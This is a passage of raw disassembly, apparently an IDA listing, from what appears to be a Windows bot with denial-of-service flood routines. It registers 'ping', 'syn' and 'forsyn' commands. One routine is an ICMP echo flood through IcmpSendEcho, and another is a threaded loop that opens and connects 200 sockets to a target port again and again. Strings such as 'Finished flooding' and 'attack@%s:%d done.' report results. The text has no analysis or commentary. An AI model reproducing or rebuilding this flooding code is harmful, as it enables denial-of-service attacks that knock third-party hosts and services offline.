13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9C4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A04 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4277B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427928 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427928: ; CODE XREF: ___:0042791Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_427958 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427958: ; CODE XREF: sub_427940+Dj mov eax, esi pop esi retn 4 sub_427940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427970 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_427970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427990 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427990 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_427A54 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_427A6E ; --------------------------------------------------------------------------- loc_427A54: ; CODE XREF: sub_427990+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_427A6E: ; CODE XREF: sub_427990+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427990 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B10 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27E08A3h mov esi, eax test esi, esi jz short loc_427B7A mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51011C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510120, eax call edi mov ecx, dword_51011C mov dword_510118, eax test ecx, ecx jz short loc_427B7A mov edx, dword_510120 test edx, edx jz short loc_427B7A test eax, eax jz short loc_427B7A mov al, [esp+0Bh] test al, al jz short loc_427B85 loc_427B7A: ; CODE XREF: sub_427B10+1Bj ; sub_427B10+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B10+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427B9C mov [esp+24h+arg_FFE8], eax loc_427B9C: ; CODE XREF: sub_427B10+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427BAF mov ebp, 1 loc_427BAF: ; CODE XREF: sub_427B10+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427BF4 loc_427BC0: ; CODE XREF: sub_427B10+E2j mov al, byte_4D84B9 test al, al jz short loc_427BF4 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510118 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427BC0 loc_427BF4: ; CODE XREF: sub_427B10+AEj ; sub_427B10+B7j push edi call dword_510120 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427B10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C50 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427C50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D8F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86EF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D1Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510128 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510328 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 2790000h test eax, eax mov dword_51032C, eax jz short loc_427E8B push offset dword_448F34 push 5 push eax push 0 push offset dword_510128 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D1Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp call near ptr 71AB4FD4h nop xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84B9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx nop call near ptr 2821DE2h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset 